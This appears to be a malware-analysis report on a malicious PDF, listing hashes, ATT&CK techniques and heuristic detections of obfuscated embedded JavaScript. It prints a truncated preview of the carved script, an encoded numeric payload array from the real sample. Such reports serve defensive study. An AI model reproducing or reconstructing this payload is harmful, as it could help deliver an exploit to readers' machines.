Malicious PDF — malware analysis report

Static analysis result for SHA-256 782f2a2794606722…

MALICIOUS

PDF

21.3 KB Created: 2010-04-02 14:20:49 +08:00 Authoring application: Acrobat Web Capture 7.0
MD5: 4df8290e6edb7e4f3858a3db366f9690 SHA-1: 8dbae60bb7d608e7d5f277ef5e75aa851cbad8f2 SHA-256: 782f2a2794606722b68c78f3e14b76e9bb215bbe639f10a0519a1ae9842f9694
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript, flagged by multiple heuristics as a potential exploit. The JavaScript stream is heavily obfuscated using `String.fromCharCode` and array manipulation, indicating an attempt to hide its malicious functionality. This script is likely responsible for downloading and executing a secondary payload, a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0047_001.js
4f908145687ac96732e6642efc824b36c95987cb54c260ce96306031c20156e9		 pdf-javascript-stream PDF /JS object 47 at offset 0x3ACB 25318 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var a = new Array(220,178,212,48,214,192,186,200,200,182,206,184,186,48,106,48,218,204,186,214,182,178,208,186,64,52,58,218,98,80,98,80,58,218,98,80,98,80,58,218,98,80,98,80,58,218,98,80,98,80,58,218,122,116,98,80,58,218,90,122,82,178,58,218,90,116,90,92,58,218,80,92,96,178,58,218,86,80,86,182,58,218,82,92,94,88,58,218,122,80,182,80,58,218,88,92,80,88,58,218,84,92,96,178,58,218,122,88,96,80,58,218,80,84,80,188,58,218,96,96,182,88,58,218,88,86,80,86,58,218,122,116,88,92,58,218,122,96,186,98,58,218,124,124,186,82,58,218,124,124,188,188,52,70,10,4,52,58,218,94,88,90,92,58,218,94,82,90,178,58,218,94,80,90,86,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,80,90,98,58,218,92,180,90,96,58,218,94,80,90,88,58,218,92,182,90,80,58,218,94,80,90,98,58,218,92,180,90,96,58,218,94,80,90,94,58,218,92,182,90,82,58,218,92,184,90,178,58,218,92,180,90,96,58,218,94,80,90,94,58,218,94,96,90,80,58,218,94,80,90,98,58,218,94,98,88,186,58,218,92,180,90,96,58,218,94,84,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,96,90,90,58,218,94,80,90,98,58,218,94,82,90,96,58,218,92,182,88,186,58,218,94,80,90,80,58,218,94,84,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,92,180,90,96,58,218,92,182,88,188,58,218,94,98,90,96,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,94,80,90,82,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,92,182,88,186,58,218,94,94,90,98,58,218,94,86,90,80,58,218,92,182,90,80,58,218,94,96,88,186,58,218,94,178,90,82,58,218,94,84,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,92,182,90,82,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,94,92,88,188,58,218,94,84,90,84,58,218,94,98,88,180,58,218,92,182,90,94,58,218,94,96,88,186,58,218,94,178,90,80,58,218,94,84,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,80,90,98,58,218,94,98,90,96,58,218,94,94,90,88,58,218,94,80,90,84,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,94,90,90,178,58,218,94,94,90,82,58,218,94,80,90,80,58,218,92,182,90,94,58,218,94,96,88,186,58,218,94,98,88,188,58,218,94,82,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,94,88,90,84,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,92,180,88,188,58,218,94,94,90,98,58,218,92,184,88,188,58,218,92,188,90,80,58,218,94,96,88,186,58,218,94,98,88,186,58,218,94,82,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,80,90,98,58,218,94,98,90,96,58,218,94,94,90,88,58,218,94,96,90,84,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,94,92,90,82,58,218,94,90,90,92,58,218,94,178,88,188,58,218,94,80,90,82,58,218,94,96,88,186,58,218,94,96,88,184,58,218,94,82,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,92,182,90,84,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,92,188,90,82,58,218,94,98,90,94,58,218,94,178,90,80,58,218,94,96,88,186,58,218,94,96,88,186,58,218,94,96,88,182,58,218,94,82,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,94,80,90,86,58,218,94,80,90,98,58,218,94,80,90,98,58,218,94,80,90,98,58,218,94,80,90,98,58,218,94,80,90,98,58,218,94,80,90,98,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,92,182,90,178,58,218,94,96,90,80,58,218,94,178,88,184,58,218,94,92,90,94,58,218,94,96,88,186,58,218,94,84,88,180,58,218,94,82,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,94,96,90,86,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,94,96,90,98,58,218,92,186,88,188,58,218,94,178,90,96,58,218,92,186,90,80,58,218,94,96,88,186,58,218,94,84,90,178,58,218,94,82,90,80,58,218,94,80,90,80,58,218,94,80,90,80,58,218,94,98,90,96,58,218,94,94,90,88,58,218,92,182,90,86,58,218,92,188,88,188,58,218,94,94,90,94,58,218,94,96,90,80,58,218,94,96,90,92,58,218,94,88,90,94,58,218,94,98,90,96,58,218
... (truncated)

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